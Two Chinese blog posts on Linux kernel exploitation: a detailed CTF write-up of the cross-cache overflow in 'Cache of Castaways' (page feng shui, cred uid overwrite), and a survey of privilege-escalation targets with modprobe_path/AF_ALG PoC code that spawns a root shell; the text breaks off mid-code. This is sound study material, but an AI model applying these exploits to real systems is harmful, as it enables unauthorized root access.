BeaCox's Blog

从 Cache of Castaways 学 cross-cache

root@beacox.space (BeaCox) — Fri, 09 Oct 2026 15:00:00 +0800

本文由 AI 辅助编写，内容经人工校对。

pwn.college Kernel Exercise Collection 的第二题 Cache of Castaways，原题是 corCTF 2022 的同名题（作者 FizzBuzz101 / willsroot）。这题的套路是 cross-cache 溢出，本文就从这题出发，把 cross-cache 讲明白。

靶机内核 Linux 5.18.3，x86_64，单核，开了 SMEP/SMAP、KPTI、KASLR、SLAB_FREELIST_RANDOM、SLAB_FREELIST_HARDENED、HARDENED_USERCOPY，关了 slab merge 和 CONFIG_SYSVIPC。下面所有源码引用和数字都以这个版本为准。

题目分析
#

驱动有两个 ioctl：ALLOC 从自己的 cache 分配一个 512 字节对象，EDIT 往对象里 memcpy 最多 512 字节。对象定义如下：

#define OVERFLOW_SZ 0x6
#define CHUNK_SIZE  512

typedef struct { char pad[OVERFLOW_SZ]; char buf[]; } castaway_t;   // buf 在 +0x6
struct castaway_cache { char buf[CHUNK_SIZE]; };                    // 对象 512 字节

castaway_cachep = KMEM_CACHE(castaway_cache, SLAB_PANIC | SLAB_ACCOUNT);

EDIT 的写入：

memcpy(castaway_arr[idx]->buf, temp, size);   // size <= 512，但 buf 从 +0x6 开始

buf 从对象 +0x6 开始，却允许写满 512 字节，最后 6 字节越过对象末尾。是个线性堆溢出，但溢出半径只有 6 字节，而且这 6 字节大概率只落在同类对象上。

页、slab、cache 的关系
#

内核要动态内存，通常走两级分配器。下面是 buddy 分配整页、SLUB 切成对象：

buddy      以页为单位，按 order 分配 2^order 个连续页（order-0 = 1 页 = 4KB）
  |  __get_free_pages / alloc_pages
SLUB       向 buddy 申请整页，切成固定大小的对象
  |  kmem_cache_alloc / kmalloc
object     kmalloc 拿到的那一小块

三个名词最容易混：kmem_cache（也叫 slab cache）是一类对象的池子，有名字有固定大小；slab 是这个 cache 从 buddy 要来的一页或几页，切成等长的槽；object 是真正分配出去的那一块。这里的 cache 是对象池，下文一律写 kmem_cache 或 slab cache。

order 是什么
#

order 是连续页数量的 2 的指数。order-0 是 1 页（4KB），order-1 是 2 页，order-10 是 1024 页。申请 order-k 时，buddy 从 order-k 链表取；没有就从更高阶分裂，这由 expand() 完成：

// mm/page_alloc.c  expand()
while (high > low) {
        high--;
        size >>= 1;
        ...
        add_to_free_list(&page[size], zone, high, migratetype);   // 高地址那半挂到低阶链表
        set_buddy_order(&page[size], high);
}

它把请求的那块留在低地址，每一层的高地址那一半挂回对应低阶链表。于是从同一块大页里连续分裂出来的页，页号是升序连续的。这给了两个利用上的性质：同一批分配能拿到物理连续的页，所以能造出“页 i 和页 i+1 相邻”；但物理相邻不等于地址可知，KASLR 开着也拿不到页的物理地址，而 cross-cache 只需要“相邻”，不需要“地址已知”。

一页装几个对象
#

castaway 对象 512 字节，为什么每页正好 8 个（order-0）？看 calculate_order()：

// mm/slub.c  calculate_order()
min_objects = slub_min_objects;
if (!min_objects) {
        nr_cpus = num_present_cpus();
        if (nr_cpus <= 1)
                nr_cpus = nr_cpu_ids;
        min_objects = 4 * (fls(nr_cpus) + 1);   // 1 CPU -> 4*(1+1) = 8
}

默认希望一个 slab 至少装 8 个对象。512 字节一页正好 8 个，order-0。靶机 root shell 里 cat /proc/slabinfo 能直接看到这些数字：

# name          <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab>
castaway_cache     240    240    512    8    1      <- 512B，每页 8 个，order-0
cred_jar           480    480    128   32    1      <- 128B，每页 32 个，order-0
signal_cache       448    448    960    8    2      <- 960B 一页放不下 8 个，order-1
task_struct        451    451   2752   11    8      <- order-3

多核机器上同一个 cache 的 order 会变大（对象更多、减少锁竞争），这正是很多 exp 要 sched_setaffinity 绑核的原因。

通用 cache 与专用 cache
#

kmem_cache 分两类。通用 cache 是 kmalloc-8/16/.../512/1k/...，kmalloc(200) 会从 kmalloc-256 切一块。专用 cache 是某个子系统用 kmem_cache_create 单独建的，比如 cred_jar（存 struct cred）、task_struct、还有本题驱动建的 castaway_cache。另外带 SLAB_ACCOUNT / GFP_KERNEL_ACCOUNT 的分配走的是单独一套 kmalloc-cg-*（被 memcg 登记），和 kmalloc-* 并存。

pcp 与 LIFO
#

order-0 页的分配释放有一条快车道：buddy 下面给每个 CPU 挂了一小堆空闲页（per-CPU pageset，pcp），拿页还页先走这里，避开 zone 锁。释放走 free_unref_page_commit()，头插进 pcp：

// mm/page_alloc.c  free_unref_page_commit()
pcp = this_cpu_ptr(zone->per_cpu_pageset);
pindex = order_to_pindex(migratetype, order);
list_add(&page->lru, &pcp->lists[pindex]);   // 头插，LIFO
pcp->count += 1 << order;

分配时从头部取，所以最近释放的页最先被复用（LIFO）。但 pcp 不能无限涨：它有个上限 high（pcp->high，由 nr_pcp_high() 按 zone 大小和在线 CPU 数算出，可用 vm.percpu_pagelist_high_fraction 调，cat /proc/zoneinfo 能看每个 CPU 的实际 high/batch；注意这是 pcp 自己的上限，跟 zone 的 min/low/high 水位——那套管 kswapd / 内存回收——不是一回事）。一旦 pcp->count >= high，就调 free_pcppages_bulk() 从尾部（最老的那头）一次拿走 batch 张还给 buddy：

// mm/page_alloc.c  free_pcppages_bulk()
page = list_last_entry(list, struct page, lru);   // 老页还给 buddy

结论：order-0 页的分配释放，就是每个 CPU、每种 migratetype 一条有上限的 LIFO 队列——没满时按 LIFO 复用，满了就把最老的一批挤回 buddy。本题 exp 的关键假设建在前半句上：先释放奇数页、再释放偶数页，最后释放的那批还在 pcp 头部、按 LIFO 被下一批分配拿走。

migratetype：为什么喷页用内核对象而不是 mmap
#

buddy 还按“能不能搬走”给页分类，pageblock 粒度管理。slab 页来自 Unmovable；用户匿名页、page cache 是 Movable，mmap 拿到的是后者。不同 migratetype 各有空闲链表，所以用 mmap/malloc 的用户页去喷，它们大概率和 slab 页不在同一批空闲链里，做不成邻居。本题用 PACKET_TX_RING（内核走 __get_free_pages(GFP_KERNEL)，是 Unmovable）就是为了精确控制 Unmovable 页的生与死。

为什么只能 cross-cache
#

改 freelist 走不通。一个 slab 里空闲对象串成单链表，指针存哪由 calculate_sizes() 决定：

// mm/slub.c  calculate_sizes()
} else {
        /*
         * Store freelist pointer near middle of object to keep
         * it away from the edges of the object to avoid small
         * sized over/underflows from neighboring allocations.
         */
        s->offset = ALIGN_DOWN(s->object_size / 2, sizeof(void *));
}

512 字节对象的 freelist 指针在偏移 256，对象正中，不在开头。这是 5.7 为了防小范围越界专门挪的位置，越界 6 字节根本碰不到。就算碰到了，SLAB_FREELIST_HARDENED 还做了混淆，freelist_ptr()：

// mm/slub.c  freelist_ptr()
return (void *)((unsigned long)ptr ^ s->random ^
                swab((unsigned long)kasan_reset_tag((void *)ptr_addr)));

要伪造合法值得同时知道 per-cache 随机数、指针存放地址、下一个空闲对象地址。加上 SLAB_FREELIST_RANDOM 把初始空闲顺序打乱，这条路在这个内核上基本死了。

溢出到好用的对象也走不通。内核关了 CONFIG_SYSVIPC，没有 msg_msg。

更关键的是对象根本不和别人共享 cache。建 cache 时 kmem_cache_create 先调 find_mergeable() 看能不能复用现成的同规格 cache，但这题合并被禁了：

// mm/slab_common.c
static bool slab_nomerge = !IS_ENABLED(CONFIG_SLAB_MERGE_DEFAULT);   // 没开就是 true

int slab_unmergeable(struct kmem_cache *s) {
        if (slab_nomerge || (s->flags & SLAB_NEVER_MERGE))
                return 1;
        ...
        if (s->usersize)   // kmalloc cache 带 usersize（hardened usercopy），永不被合并
                return 1;
        ...
}

CONFIG_SLAB_MERGE_DEFAULT 没开，find_mergeable() 直接返回 NULL；加上 SLAB_ACCOUNT 和 castaway_cache 本身属性对不上，它是一个独立的 kmem_cache，同一张 slab 页里全是 castaway 对象。溢出 6 字节只会踩到同类下一个对象的 pad，没有意义。

唯一有价值的落点，是一张 slab 页里最后一个对象的溢出。那 6 字节越过页边界，落到下一张物理页的开头。cross-cache 就从这里开始：既然 cache 内部没活了，就让溢出跨过 cache 的边界，落到另一个 cache 的页上。

cross-cache 的原理
#

把溢出按落点分两种。溢出对象不是本页最后一个时，落点是同页下一个对象，还在本 cache 内，本题里就是 8 个对象的前 7 个，踩到同类 pad，无害。溢出对象是本页最后一个、且下一张物理页属于另一个 cache 时，落点是下一页开头，这才是 cross-cache：

对象级（普通 heap pwn）           页级（cross-cache）
[ A | A | A | A ]                [  cache A 的页  |  cache B 的页  ]
越界踩到同类邻居                  A 页最后一个对象越界 -> 命中 B 页开头的对象

所以 cross-cache 不是新的漏洞原语，就是普通堆溢出加一个布置好的物理页邻接关系。漏洞提供越过页边界的那几个字节，利用者负责把页边界另一边换成一个有价值的受害者对象。难点全在后半句：怎么让受害者 cache 的页稳稳落在溢出 cache 页的正上方（地址 +0x1000 处）。这就是页风水。

页风水
#

目标是造出 [castaway 页][cred 页] 这样物理相邻、且 cred 页在高地址侧的一对，分为以下四步。

第一步，找一个非特权能稳定、大量、可单独释放 order-0 页的原语。本题用 setsockopt(PACKET_TX_RING)，走到 alloc_pg_vec 再到 alloc_one_pg_vec_page：

// net/packet/af_packet.c  alloc_one_pg_vec_page
buffer = (char *) __get_free_pages(gfp_flags, order);   // 每个 socket 吃掉整页

对应用户态：

int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
int version = TPACKET_V1;
setsockopt(s, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));
struct tpacket_req req = { .tp_block_size = 4096, .tp_block_nr = 1,
                           .tp_frame_size = 4096, .tp_frame_nr = 1 };
setsockopt(s, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));   // 申请 1 张 order-0 页
// close(s) 即释放

PACKET_TX_RING 需要 CAP_NET_RAW，所以喷页逻辑放在 unshare(CLONE_NEWUSER | CLONE_NEWNET) 的子进程里，空 userns 不映射 uid_map 也能在新 net namespace 里拿到这个 cap。

第二步，隔一个释放一个。喷 1000 页后释放所有奇数下标的页：

spray :  [p0][p1][p2][p3][p4][p5] ...   全是我们控制的页
free odd:[p0][  ][p2][  ][p4][  ] ...   奇数页还给 buddy/pcp

这里必须隔一释放。连续释放一整段，buddy 的伙伴空闲会把它们合并回 order-1/2，页就“消失”了，下一批分配从大块重新分裂，相邻关系不再可控。隔一释放留下占位页，伙伴不空闲、无法合并，每张空闲页都是稳定的 order-0，等着被别的 cache 精确插进来。

第三步，让受害者 cache 因为手头没有空闲对象、被迫向 buddy 要新页，捡走刚释放的奇数页。这里有个前置动作：SLUB 优先用当前 slab 和 partial slab 里的空闲对象，如果 cred_jar 还有半满的页，新 cred 会填到老页上，根本不来要新页，页风水就白做了。所以先 fork 100 个睡眠子进程把已有 cred_jar slab 填满。受害者 cache 是 cred_jar：

// kernel/cred.c
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
                SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT, NULL);

new = kmem_cache_zalloc(cred_jar, GFP_KERNEL);   // 每次 fork/clone 走这里

然后 clone 320 个子进程，它们的 cred 落在奇数页上。fork 一次会触发十几个 cache 的分配（task_struct、内核栈、vm_area_struct、files/fs/sighand/signal cache、pid……），噪声大，用 clone 加 flag 砍掉大部分：

#define CLONE_FLAGS (CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND)

代价是 CLONE_VM 让子进程和父进程共享地址空间，所以子进程里不能随便用自己的栈和全局变量，本题的等待与提权逻辑是纯内联汇编加全局缓冲区实现的，就是为了防止共享地址空间被破坏造成segfault。

第四步，释放所有偶数页，再用 castaway slab 把它们取回来。偶数页 i 和奇数页 i+1 物理相邻，布局就成了：

偶数页 i   (castaway)   第 8 个对象向上溢出 6 字节
奇数页 i+1 (cred)       页首是一个 struct cred

隔行（odd/even）的意义就是让溢出页和受害者页交替相邻。

受害者：cred
#

struct cred 128 字节（SLAB_HWCACHE_ALIGN 把 sizeof(struct cred) 向上对齐到 cache line），每页 32 个，页开头就是对象开头，所以溢出永远精确命中下一页第一个 cred 的 +0x0。看 struct cred 开头（本题关了 CONFIG_DEBUG_CREDENTIALS 和 RANDSTRUCT，所以 usage 真的在 +0x0）：

struct cred {
        atomic_t usage;   // +0x0
        kuid_t   uid;     // +0x4  <- 要清零的
        kgid_t   gid;     // +0x8
        ...
};

6 字节正好是 usage(4) 加 uid 的低 16 位(2)。溢出数据：

char evil[512] = {0};
*(uint32_t *)&evil[512 - 6] = 0x100;   // 伪造 usage = 0x100，别让引用计数归零
// evil[512-2 .. 512-1] 保持 0  ->  uid 低 16 位清零，uid 1000(0x3e8) -> 0

uid 变成 0 之后不需要泄露 KASLR，也不用改 caps：

setresuid(0, 0, 0);   // 无 CAP_SETUID 时，目标 uid == cred->uid 才合法

内核认为进程本来就是 uid 0，这个 setresuid 合法通过，euid/fsuid 一起变 0。读文件权限看的是 fsuid 和 caps，不是 uid，fsuid == 0 且文件属主是 root，就能读 0400 的 /flag。

从这题可以总结出挑受害者的三条标准：

头部就有高价值字段，因为溢出只精确落在页首对象的开头，cred 的 usage/uid 恰好在最前面
能被非特权大量可控分配，fork/clone 要多少 cred 有多少
改完能 leakless 变现，uid 清零加 setresuid 这条链不依赖泄露。

cred 之外常见的受害者还有 struct file、pipe_buffer、页表项（配合 Dirty Pagetable）。

完整利用
#

把上面串起来就是 exp 的六步：

[1] drain    fork 100 个睡眠进程，填满已有 cred_jar slab
[2] spray    TX_RING 喷 1000 页（user+net ns 子进程里），释放奇数页
[3] cred     clone 320 个子进程，cred 落在奇数页；子进程阻塞在 read(rootfd)
[4] reclaim  释放偶数页
[5] overflow 30 页 castaway（240 个对象 <= 驱动上限 400），每个溢出 6 字节
[6] wake     写 rootfd 唤醒子进程；uid==0 的那个 setresuid(0,0,0) 读 /flag

方法二：cross-cache UAF / 页复用（本题没用到）
#

前面整篇讲的是 cross-cache 溢出：bug 是越界写，靠页风水把两张不同的页排成物理相邻，越界字节跨过页边界打到邻居。但 cross-cache 还有另一条主路，用的 bug 类型和 buddy 性质都不一样，很多 UAF 提权（典型是 DirtyCred）走的是这条。

原语不同：UAF，而不是 OOB
#

方法二的 bug 是 use-after-free / double-free：手里有一个指向 cache A 对象的悬垂指针。单纯在 A 里重新分配（把对象 free 掉再 alloc 一个 A 对象）只会让悬垂指针压在一个同类 A 对象上，还在 A 内部，谈不上 cross。要跨到 B，必须让这块物理内存整个离开 cache A、回到 buddy，再被 cache B 抢走。

难点：怎么让整张 slab 掉回 buddy
#

SLUB 只要 slab 里还有一个对象在用就不放页；而且就算整张清空，页还可能被 per-CPU 缓存住不还。看 __slab_free()：

kfree 掉 slab 上最后一个在用对象
  └─ __slab_free(): inuse == 0            // 整张 slab 空了
       ├─ 它是当前 c->slab(活跃 slab)         -> 留着当快车道，不还    ← 坑
       ├─ 进 c->partial 且没超 per-cpu 上限     -> 当半满缓存留着        ← 坑
       └─ 否则 remove_partial -> discard_slab
            └─ free_slab -> __free_pages() -> order-0 进 pcp -> 回 buddy ✅

所以方法二不能只 free 一个对象，得批量：喷大量 A 对象，让它们铺满若干张全新的 slab；再把这些 slab 整张整张全部 free，使空 slab 的数量超过 per-cpu partial（slub_cpu_partial()）和 node partial（s->min_partial）的缓存上限——多出来的空页才会被 discard_slab() 真正交还 buddy。

buddy 性质不同：要的是「同页 LIFO 复用」，不是「相邻」
#

页一旦回到 buddy，order-0 先落在 pcp 头部（LIFO，见前面「pcp 与 LIFO」）。紧接着立刻逼 cache B 要新页：

free 满整张 A 的 slab    ->  页进 pcp 头部(LIFO)
立刻耗尽 B 的 current + partial，再 alloc 一个 B
  -> new_slab -> allocate_slab -> alloc_pages 拿到 pcp 头 = 刚释放那张页
  -> B 把它重切成 B 对象
  -> 悬垂的 A 指针现在压在一个 B 对象上 = 跨 cache 类型混淆

方法二只依赖 buddy 的两个性质：

order-0 走 pcp、最近释放的最先发出（LIFO），保证“刚还的页被 B 立刻捡走”；
上面那张 slab 的 discard_slab 释放条件，保证页真回到了 buddy，而不是被 SLUB 藏在 per-cpu/partial 里。

拿到类型混淆之后
#

悬垂 A 指针与 B 对象重叠后，就回到常规 UAF 套路：用 A 的接口读 B 对象 = 跨类型泄露（泄 KASLR / 指针），用 A 的接口写 B 对象 = 跨类型改字段。DirtyCred 是最有名的落地：UAF/double-free 一个 struct file 或 cred，把整页释放回收后换成一个权限不同的同类对象（只读 fd 换可写 fd、低权 cred 换高权 cred），不碰指针也能提权——和本题“只改数据字段”的无泄露思路异曲同工，只是跨 cache 的桥是“页复用”而非“页相邻”。

防御措施
#

cross-cache 成为主流，是因为内核把 cache 内部的路一条条堵上了。SLAB_FREELIST_RANDOM / _HARDENED 加上 freelist 指针挪到对象中间，封死了 cache 内改 freelist，cross-cache 直接绕过，根本不碰 freelist。

防御也在跟进。CONFIG_RANDOM_KMALLOC_CACHES（5.19+，本题内核没有）把 kmalloc-N 拆成多个随机 cache，增加通用 cache 内部碰撞难度，但对 cred_jar 这种专用 cache 的 cross-cache 没有直接影响。社区提案的 SLAB_VIRTUAL 给每个 slab 的虚拟地址做隔离、让释放的 slab 虚拟地址不被别的 cache 立即复用，直接打击“释放页、受害者立刻捡走”这一步，是目前最对症的方向。grsecurity 的 AUTOSLAB 走的也是削弱 pcp/buddy 可预测性的思路。

但只要物理页还在 cache 之间回收复用、pcp 还近似 LIFO，页风水的前提就还在。cross-cache 现在更费劲但依然可行。

参考资料
#

Reviving Exploits Against cred Structs
DirtyCred（方法二的代表，含 PoC）
Castaways 复现笔记
corCTF 2022 题目归档
源码：mm/slub.c、mm/page_alloc.c、mm/slab_common.c、kernel/cred.c、net/packet/af_packet.c（Linux 5.18.3）

Kernel 提权路径总结

root@beacox.space (BeaCox) — Mon, 18 Aug 2025 21:00:00 +0800

任意地址写（AAW）
#

modprobe_path
#

sys_execve()
  => do_execve()
    => do_execveat_common()
      => bprm_execve()
        => exec_binprm()
          => search_binary_handler()
            => request_module()
              => __request_module()
                => call_modprobe()
                  => call_usermodehelper_exec()
                    => queue_work(call_usermodehelper_exec_work)
[ kworker ]
call_usermodehelper_exec_work()
  => call_usermodehelper_exec_sync()
    => call_usermodehelper_exec_async()
      => kernel_execve()

非法文件
#

利用条件：CONFIG_BINFMT_MISC=y 且 CONFIG_STATIC_USERMODEHELPER=n

若是我们能够劫持 modprobe_path，将其改写为我们指定的恶意脚本的路径，随后我们再执行一个非法文件（内核无法根据文件头识别文件信息），内核将会以 root 权限执行我们的恶意脚本。

流程示意如下：

// create fake modprobe_path file
root_script_fd = open(MAGIC_PATH, O_RDWR | O_CREAT);
write(root_script_fd, root_cmd, sizeof(root_cmd));
close(root_script_fd);
system("chmod +x " MAGIC_PATH);

// hijack modprobe_path
AAW(modprobe_path, MAGIC_PATH)

// trigger the exploit
puts("[*] trigerring fake modprobe_path...");   
system("echo -e '\\xff\\xff\\xff\\xff' > /home/trigger");
system("chmod +x /home/trigger");
system("/home/trigger");

AF_ALG socket
#

利用条件：CONFIG_STATIC_USERMODEHELPER=n

去年11月的 [/fs/exec.c-patch]/fs/exec.c-patch 补丁修改了search_binary_handler()函数使其不再调用request_module()，所以新版本内核中，无法通过执行非法文件来触发劫持控制流。

但内核中调用request_module()的方式非常多，其中最符合利用需求的是AF_ALG socket¹。

AF_ALG 是一个基于套接字的接口，允许用户空间访问内核的加密API，但在此技术中，它被用于不调用任何加密功能。

当在这个套接字上调用bind()时，它会触发alg_bind()函数。这个函数会搜索与用户提供的sa->salg_type [5]对应的类型，如果未找到，它会调用request_module() [6]来尝试加载。

static const struct proto_ops alg_proto_ops = {
        .family         =       PF_ALG,
        .owner          =       THIS_MODULE,
        ...
        .bind           =       alg_bind,
        .release        =       af_alg_release,
        .setsockopt     =       alg_setsockopt,
        .accept         =       alg_accept,
};
static int alg_bind(struct socket *sock, struct sockaddr *uaddr, int addr_len)
{
        const u32 allowed = CRYPTO_ALG_KERN_DRIVER_ONLY;
        struct sock *sk = sock->sk;
        struct alg_sock *ask = alg_sk(sk);
        struct sockaddr_alg_new *sa = (void *)uaddr;
        const struct af_alg_type *type;
        void *private;
        int err;
        ...
        sa->salg_type[sizeof(sa->salg_type) - 1] = 0;
        sa->salg_name[addr_len - sizeof(*sa) - 1] = 0;
        type = alg_get_type(sa->salg_type);    // [5]
        if (PTR_ERR(type) == -ENOENT) {
                request_module("algif-%s", sa->salg_type);    // [6]
                type = alg_get_type(sa->salg_type);
        }

也就是说，只要传递给sa->salg_type的字符串是无效的加密类型，就会调用request_module()。思路和执行非法文件比较类似。

PoC 如下：

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <fcntl.h>
#include <sys/mman.h>

#define MODPROBE_SCRIPT "#!/bin/sh\\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\\n"

int main(void)
{
        char fake_modprobe[40] = {0};
        struct sockaddr_alg sa;
        pid_t pid = getpid();

        int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
        int shell_stdin_fd = dup(STDIN_FILENO);
        int shell_stdout_fd = dup(STDOUT_FILENO);

        dprintf(modprobe_script_fd, MODPROBE_SCRIPT, pid, shell_stdin_fd, pid, shell_stdout_fd);
        snprintf(fake_modprobe, sizeof(fake_modprobe), "/proc/%i/fd/%i", pid, modprobe_script_fd);

        // Overwriting modprobe_path with fake_modprobe here...

        int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
        if (alg_fd < 0) {
                perror("socket(AF_ALG) failed");
                return 1;
        }

        memset(&sa, 0, sizeof(sa));
        sa.salg_family = AF_ALG;
        strcpy((char *)sa.salg_type, "V4bel");  // dummy string
        bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));

        return 0;
}

例题：TsukuCTF 2025 easy_kernel

未知协议 socket
#

利用条件：CONFIG_MODULES=y 且 CONFIG_STATIC_USERMODEHELPER=n

socket 指定未知协议也能够触发，从v6.16源码可以看到，创建sock时若无法匹配指定的family则会调用request_module

int __sock_create(struct net *net, int family, int type, int protocol,
			 struct socket **res, int kern)
{
	...
#ifdef CONFIG_MODULES
	/* Attempt to load a protocol module if the find failed.
	 *
	 * 12/09/1996 Marcin: But! this makes REALLY only sense, if the user
	 * requested real, full-featured networking support upon configuration.
	 * Otherwise module support will break!
	 */
	if (rcu_access_pointer(net_families[family]) == NULL)
		request_module("net-pf-%d", family); // 这里调了request_module
#endif

可以发现AF_ALG socket这种方法相比之下是更通用的。

n_tty_ops
#

利用条件：

目标系统必须使用 n_tty 驱动（Linux 默认的伪终端驱动，适用于 /dev/pts/X 或 /dev/tty）。
n_tty_ops 可写

~~图片出处已不可考~~

static struct tty_ldisc_ops n_tty_ops = {
	.magic           = TTY_LDISC_MAGIC,
	.name            = "n_tty",
	.open            = n_tty_open,
	.close           = n_tty_close,
	.flush_buffer    = n_tty_flush_buffer,
	.read            = n_tty_read,
	.write           = n_tty_write,
	.ioctl           = n_tty_ioctl,
	.set_termios     = n_tty_set_termios,
	.poll            = n_tty_poll,
	.receive_buf     = n_tty_receive_buf,
	.write_wakeup    = n_tty_write_wakeup,
	.receive_buf2	 = n_tty_receive_buf2,
};

劫持 n_tty_ops.read 构造 ROP chain，用 syscall read 触发 ROP，拿到权限后将其恢复，正常进行终端交互。

cred
#

利用条件：定位cred

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
        ...
} __randomize_layout;

攻击的方式有两种²：

直接修改 cred 结构体的内容
修改 task_struct 结构体中的 cred 指针指向一个满足要求的 cred

网上大多说把 uid~fsgid 全置为0，实际上权限主要与 uid 和 euid 有关，这两个置为0就够了。当然只修改 uid 为0再在用户态设置 euid 也行。

RWCTF2022 Digging into kernel 1 & 2 这种 cred_jar 没有设置 SLAB_ACCOUNT 导致和题目的 slab 合并现在不太可能见到，利用方法是 fork 子进程修改其 cred。

tcp_prot
#

利用条件：tcp_prot可写

中文互联网似乎没人分析这种技巧，对tcp_prot的利用技术最早被用于利用 CVE-2022-29582：

Even better, each tls_context has a proto pointer to tcp_prot. This object has two awesome features. For one, its address is a constant offset from the kernel base. So reading out field sk_proto == &tcp_prot means a way around KASLR. Further, it’s got a bunch of function pointers. So if we can forge a fake proto object then we’ve got the main ingredient for arbitrary code execution. As we might’ve guessed from the diagram, we are specifically going to target getsockopt().

tcp_prot 是 Linux 内核中用于定义 TCP 协议行为的结构体。该结构体既可以被用于泄露 kernel 地址，也可以被用于控制流劫持。一般是通过用户态调用setsockopt()函数来触发tcp_prot->setsockopt。

struct proto tcp_prot = {
	.name			= "TCP",
	.owner			= THIS_MODULE,
	.close			= tcp_close,
	.pre_connect		= tcp_v4_pre_connect,
	.connect		= tcp_v4_connect,
	.disconnect		= tcp_disconnect,
	.accept			= inet_csk_accept,
	.ioctl			= tcp_ioctl,
	.init			= tcp_v4_init_sock,
	.destroy		= tcp_v4_destroy_sock,
	.shutdown		= tcp_shutdown,
	.setsockopt		= tcp_setsockopt,
	.getsockopt		= tcp_getsockopt,
	.bpf_bypass_getsockopt	= tcp_bpf_bypass_getsockopt,
	.keepalive		= tcp_set_keepalive,
	.recvmsg		= tcp_recvmsg,
	.sendmsg		= tcp_sendmsg,
	.sendpage		= tcp_sendpage,
	.backlog_rcv		= tcp_v4_do_rcv,
	.release_cb		= tcp_release_cb,
	.hash			= inet_hash,
	.unhash			= inet_unhash,
	.get_port		= inet_csk_get_port,
	.put_port		= inet_put_port,
#ifdef CONFIG_BPF_SYSCALL
	.psock_update_sk_prot	= tcp_bpf_update_proto,
#endif
	.enter_memory_pressure	= tcp_enter_memory_pressure,
	.leave_memory_pressure	= tcp_leave_memory_pressure,
	.stream_memory_free	= tcp_stream_memory_free,
	.sockets_allocated	= &tcp_sockets_allocated,
	.orphan_count		= &tcp_orphan_count,

	.memory_allocated	= &tcp_memory_allocated,
	.per_cpu_fw_alloc	= &tcp_memory_per_cpu_fw_alloc,

	.memory_pressure	= &tcp_memory_pressure,
	.sysctl_mem		= sysctl_tcp_mem,
	.sysctl_wmem_offset	= offsetof(struct net, ipv4.sysctl_tcp_wmem),
	.sysctl_rmem_offset	= offsetof(struct net, ipv4.sysctl_tcp_rmem),
	.max_header		= MAX_TCP_HEADER,
	.obj_size		= sizeof(struct tcp_sock),
	.slab_flags		= SLAB_TYPESAFE_BY_RCU,
	.twsk_prot		= &tcp_timewait_sock_ops,
	.rsk_prot		= &tcp_request_sock_ops,
	.h.hashinfo		= NULL,
	.no_autobind		= true,
	.diag_destroy		= tcp_abort,
};

考虑如下代码：

int fd = socket(AF_INET, SOCK_STREAM, 0);
setsockopt(fd, SOL_TCP, TCP_ULP, fake_stack, 0x1337);

socket 函数是 socket 系统调用的封装，内核调用__sys_socket()进行处理（本节所有 kernel 源代码取自v6.3.4），该函数调用__sys_socket_create()：

int __sys_socket(int family, int type, int protocol)
{
	struct socket *sock;
	int flags;

	sock = __sys_socket_create(family, type, protocol);
	if (IS_ERR(sock))
		return PTR_ERR(sock);

	flags = type & ~SOCK_TYPE_MASK;
	if (SOCK_NONBLOCK != O_NONBLOCK && (flags & SOCK_NONBLOCK))
		flags = (flags & ~SOCK_NONBLOCK) | O_NONBLOCK;

	return sock_map_fd(sock, flags & (O_CLOEXEC | O_NONBLOCK));
}

__sys_socket_create()调用sock_create()函数 -> __sock_create()函数，根据协议族来创建 sock：

int __sock_create(struct net *net, int family, int type, int protocol,
			 struct socket **res, int kern)
{
	int err;
	struct socket *sock;
	const struct net_proto_family *pf;
	...
	sock = sock_alloc(); // 分配 sock 结构体
	sock->type = type;
    ...
	pf = rcu_dereference(net_families[family]); // 获取协议族处理函数 (AF_INET -> inet_family_ops)
	...
	err = pf->create(net, sock, protocol, kern); // 调用 inet_create()	
    ... 
	*res = sock;
	return 0;
	...
}

inet_create() 从inetsw链表查找sock->type对应的inet_protosw结构体：

static int inet_create(struct net *net, struct socket *sock, int protocol,
               int kern)
{
	struct sock *sk;
	struct inet_protosw *answer;
	struct inet_sock *inet;
	struct proto *answer_prot;
	unsigned char answer_flags;
	int try_loading_module = 0;
	int err;
	...
    // 查找协议处理器 (SOCK_STREAM -> TCP)
	list_for_each_entry_rcu(answer, &inetsw[sock->type], list) {

		err = 0;
		/* Check the non-wild match. */
		if (protocol == answer->protocol) {
			if (protocol != IPPROTO_IP)
				break;
		} else {
			/* Check for the two wild cases. */
			if (IPPROTO_IP == protocol) {
				protocol = answer->protocol;
				break;
			}
			if (IPPROTO_IP == answer->protocol)
				break;
		}
		err = -EPROTONOSUPPORT;
	}
	...
    // 设置socket操作函数表
    sock->ops = answer->ops;           // inet_stream_ops
    answer_prot = answer->prot;        // tcp_prot
    answer_flags = answer->flags;
	...
    // 分配sock结构体，使用tcp_prot作为协议处理器
    sk = sk_alloc(net, PF_INET, GFP_KERNEL, answer_prot, kern);
	...
    // 初始化socket与sock的关联
    sock_init_data(sock, sk);
	...
    return err;
}

inet 初始化时，inet_init调用inet_register_protosw将静态数组inetsw_array转化为了动态链表inetsw：

static int __init inet_init(void)
{
    ...

	for (r = &inetsw[0]; r < &inetsw[SOCK_MAX]; ++r)
		INIT_LIST_HEAD(r);	 // 初始化每个链表头

    /* Register the socket-side information for inet_create. */
